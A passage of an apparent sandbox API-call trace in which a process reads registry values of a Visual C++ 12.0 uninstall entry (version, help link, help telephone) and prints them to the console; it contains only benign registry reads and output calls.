[0149.204] GetFileType (hFile=0x50) returned 0x1 [0149.204] lstrlenW (lpString="") returned 0 [0149.204] __iob_func () returned 0x7fefd702a80 [0149.204] _fileno (_File=0x7fefd702ab0) returned 1 [0149.204] _errno () returned 0x204bb0 [0149.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.204] _errno () returned 0x204bb0 [0149.204] GetFileType (hFile=0x50) returned 0x1 [0149.204] lstrlenW (lpString="\n") returned 1 [0149.204] GetConsoleOutputCP () returned 0x1b5 [0149.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.204] GetConsoleOutputCP () returned 0x1b5 [0149.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.205] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.205] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.205] GetProcessHeap () returned 0x3c0000 [0149.205] GetProcessHeap () returned 0x3c0000 [0149.205] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.205] GetProcessHeap () returned 0x3c0000 [0149.205] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.205] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.205] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.205] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0149.205] GetProcessHeap () returned 0x3c0000 [0149.205] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c30 [0149.205] GetProcessHeap () returned 0x3c0000 [0149.205] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.205] GetProcessHeap () returned 0x3c0000 [0149.205] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0149.205] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="12.0.21005", pcbData=0x29f780*=0x16) returned 0x0 [0149.205] __iob_func () returned 0x7fefd702a80 [0149.205] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.205] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.205] _fileno (_File=0x7fefd702ab0) returned 1 [0149.205] _errno () returned 0x204bb0 [0149.205] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.205] _errno () returned 0x204bb0 [0149.205] GetFileType (hFile=0x50) returned 0x1 [0149.205] lstrlenW (lpString=" ") returned 4 [0149.205] GetConsoleOutputCP () returned 0x1b5 [0149.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.206] GetConsoleOutputCP () returned 0x1b5 [0149.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.206] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.206] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.206] lstrlenW (lpString="DisplayVersion") returned 14 [0149.206] __iob_func () returned 0x7fefd702a80 [0149.206] _fileno (_File=0x7fefd702ab0) returned 1 [0149.206] _errno () returned 0x204bb0 [0149.206] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.206] _errno () returned 0x204bb0 [0149.206] GetFileType (hFile=0x50) returned 0x1 [0149.206] lstrlenW (lpString="DisplayVersion") returned 14 [0149.207] GetConsoleOutputCP () returned 0x1b5 [0149.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.207] GetConsoleOutputCP () returned 0x1b5 [0149.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.207] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.207] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.207] __iob_func () returned 0x7fefd702a80 [0149.207] _fileno (_File=0x7fefd702ab0) returned 1 [0149.207] _errno () returned 0x204bb0 [0149.207] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.207] _errno () returned 0x204bb0 [0149.207] GetFileType (hFile=0x50) returned 0x1 [0149.207] lstrlenW (lpString=" ") returned 4 [0149.207] GetConsoleOutputCP () returned 0x1b5 [0149.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.207] GetConsoleOutputCP () returned 0x1b5 [0149.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.207] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.207] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.207] __iob_func () returned 0x7fefd702a80 [0149.207] _fileno (_File=0x7fefd702ab0) returned 1 [0149.207] _errno () returned 0x204bb0 [0149.208] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.208] _errno () returned 0x204bb0 [0149.208] GetFileType (hFile=0x50) returned 0x1 [0149.208] lstrlenW (lpString="REG_SZ") returned 6 [0149.208] GetConsoleOutputCP () returned 0x1b5 [0149.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.208] GetConsoleOutputCP () returned 0x1b5 [0149.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.208] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.208] __iob_func () returned 0x7fefd702a80 [0149.208] _fileno (_File=0x7fefd702ab0) returned 1 [0149.208] _errno () returned 0x204bb0 [0149.208] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.208] _errno () returned 0x204bb0 [0149.208] GetFileType (hFile=0x50) returned 0x1 [0149.208] lstrlenW (lpString=" ") returned 4 [0149.208] GetConsoleOutputCP () returned 0x1b5 [0149.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.208] GetConsoleOutputCP () returned 0x1b5 [0149.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.208] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.209] __iob_func () returned 0x7fefd702a80 [0149.209] _fileno (_File=0x7fefd702ab0) returned 1 [0149.209] _errno () returned 0x204bb0 [0149.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.209] _errno () returned 0x204bb0 [0149.209] GetFileType (hFile=0x50) returned 0x1 [0149.209] lstrlenW (lpString="12.0.21005") returned 10 [0149.209] GetConsoleOutputCP () returned 0x1b5 [0149.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.21005", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.209] GetConsoleOutputCP () returned 0x1b5 [0149.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.21005", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.0.21005", lpUsedDefaultChar=0x0) returned 10 [0149.209] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.209] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.209] __iob_func () returned 0x7fefd702a80 [0149.209] _fileno (_File=0x7fefd702ab0) returned 1 [0149.209] _errno () returned 0x204bb0 [0149.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.209] _errno () returned 0x204bb0 [0149.209] GetFileType (hFile=0x50) returned 0x1 [0149.209] lstrlenW (lpString="\n") returned 1 [0149.209] GetConsoleOutputCP () returned 0x1b5 [0149.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.209] GetConsoleOutputCP () returned 0x1b5 [0149.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.210] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.210] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.210] GetProcessHeap () returned 0x3c0000 [0149.210] GetProcessHeap () returned 0x3c0000 [0149.210] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.210] GetProcessHeap () returned 0x3c0000 [0149.210] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0149.210] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.210] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.210] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0149.210] GetProcessHeap () returned 0x3c0000 [0149.210] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0149.210] GetProcessHeap () returned 0x3c0000 [0149.210] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.210] GetProcessHeap () returned 0x3c0000 [0149.210] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0149.210] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x29f780*=0x5c) returned 0x0 [0149.210] __iob_func () returned 0x7fefd702a80 [0149.210] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.210] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.210] _fileno (_File=0x7fefd702ab0) returned 1 [0149.210] _errno () returned 0x204bb0 [0149.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.210] _errno () returned 0x204bb0 [0149.210] GetFileType (hFile=0x50) returned 0x1 [0149.210] lstrlenW (lpString=" ") returned 4 [0149.211] GetConsoleOutputCP () returned 0x1b5 [0149.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.211] GetConsoleOutputCP () returned 0x1b5 [0149.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.211] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.211] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.211] lstrlenW (lpString="HelpLink") returned 8 [0149.211] __iob_func () returned 0x7fefd702a80 [0149.211] _fileno (_File=0x7fefd702ab0) returned 1 [0149.211] _errno () returned 0x204bb0 [0149.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.211] _errno () returned 0x204bb0 [0149.211] GetFileType (hFile=0x50) returned 0x1 [0149.211] lstrlenW (lpString="HelpLink") returned 8 [0149.211] GetConsoleOutputCP () returned 0x1b5 [0149.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.211] GetConsoleOutputCP () returned 0x1b5 [0149.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0149.211] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.211] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.211] __iob_func () returned 0x7fefd702a80 [0149.212] _fileno (_File=0x7fefd702ab0) returned 1 [0149.212] _errno () returned 0x204bb0 [0149.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.212] _errno () returned 0x204bb0 [0149.212] GetFileType (hFile=0x50) returned 0x1 [0149.212] lstrlenW (lpString=" ") returned 4 [0149.212] GetConsoleOutputCP () returned 0x1b5 [0149.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.212] GetConsoleOutputCP () returned 0x1b5 [0149.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.212] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.212] __iob_func () returned 0x7fefd702a80 [0149.212] _fileno (_File=0x7fefd702ab0) returned 1 [0149.212] _errno () returned 0x204bb0 [0149.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.212] _errno () returned 0x204bb0 [0149.212] GetFileType (hFile=0x50) returned 0x1 [0149.212] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.212] GetConsoleOutputCP () returned 0x1b5 [0149.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.212] GetConsoleOutputCP () returned 0x1b5 [0149.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.213] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.213] __iob_func () returned 0x7fefd702a80 [0149.213] _fileno (_File=0x7fefd702ab0) returned 1 [0149.213] _errno () returned 0x204bb0 [0149.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.213] _errno () returned 0x204bb0 [0149.213] GetFileType (hFile=0x50) returned 0x1 [0149.213] lstrlenW (lpString=" ") returned 4 [0149.213] GetConsoleOutputCP () returned 0x1b5 [0149.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.213] GetConsoleOutputCP () returned 0x1b5 [0149.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.213] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.213] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.213] __iob_func () returned 0x7fefd702a80 [0149.213] _fileno (_File=0x7fefd702ab0) returned 1 [0149.213] _errno () returned 0x204bb0 [0149.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.213] _errno () returned 0x204bb0 [0149.213] GetFileType (hFile=0x50) returned 0x1 [0149.213] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0149.213] GetConsoleOutputCP () returned 0x1b5 [0149.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0149.213] GetConsoleOutputCP () returned 0x1b5 [0149.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0149.214] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0149.214] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.214] __iob_func () returned 0x7fefd702a80 [0149.214] _fileno (_File=0x7fefd702ab0) returned 1 [0149.214] _errno () returned 0x204bb0 [0149.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.214] _errno () returned 0x204bb0 [0149.214] GetFileType (hFile=0x50) returned 0x1 [0149.214] lstrlenW (lpString="\n") returned 1 [0149.214] GetConsoleOutputCP () returned 0x1b5 [0149.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.214] GetConsoleOutputCP () returned 0x1b5 [0149.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.214] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.214] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.214] GetProcessHeap () returned 0x3c0000 [0149.214] GetProcessHeap () returned 0x3c0000 [0149.214] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.214] GetProcessHeap () returned 0x3c0000 [0149.214] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0149.214] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.214] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.214] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.215] GetProcessHeap () returned 0x3c0000 [0149.215] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.215] GetProcessHeap () returned 0x3c0000 [0149.215] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.215] GetProcessHeap () returned 0x3c0000 [0149.215] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.215] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.215] __iob_func () returned 0x7fefd702a80 [0149.215] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.215] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.215] _fileno (_File=0x7fefd702ab0) returned 1 [0149.215] _errno () returned 0x204bb0 [0149.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.215] _errno () returned 0x204bb0 [0149.215] GetFileType (hFile=0x50) returned 0x1 [0149.215] lstrlenW (lpString=" ") returned 4 [0149.215] GetConsoleOutputCP () returned 0x1b5 [0149.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.215] GetConsoleOutputCP () returned 0x1b5 [0149.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.215] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.215] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.215] lstrlenW (lpString="HelpTelephone") returned 13 [0149.215] __iob_func () returned 0x7fefd702a80 [0149.215] _fileno (_File=0x7fefd702ab0) returned 1 [0149.215] _errno () returned 0x204bb0 [0149.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.215] _errno () returned 0x204bb0 [0149.215] GetFileType (hFile=0x50) returned 0x1 [0149.215] lstrlenW (lpString="HelpTelephone") returned 13 [0149.216] GetConsoleOutputCP () returned 0x1b5 [0149.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.216] GetConsoleOutputCP () returned 0x1b5 [0149.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0149.216] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.216] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.216] __iob_func () returned 0x7fefd702a80 [0149.216] _fileno (_File=0x7fefd702ab0) returned 1 [0149.216] _errno () returned 0x204bb0 [0149.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.216] _errno () returned 0x204bb0 [0149.216] GetFileType (hFile=0x50) returned 0x1 [0149.216] lstrlenW (lpString=" ") returned 4 [0149.216] GetConsoleOutputCP () returned 0x1b5 [0149.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.216] GetConsoleOutputCP () returned 0x1b5 [0149.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, 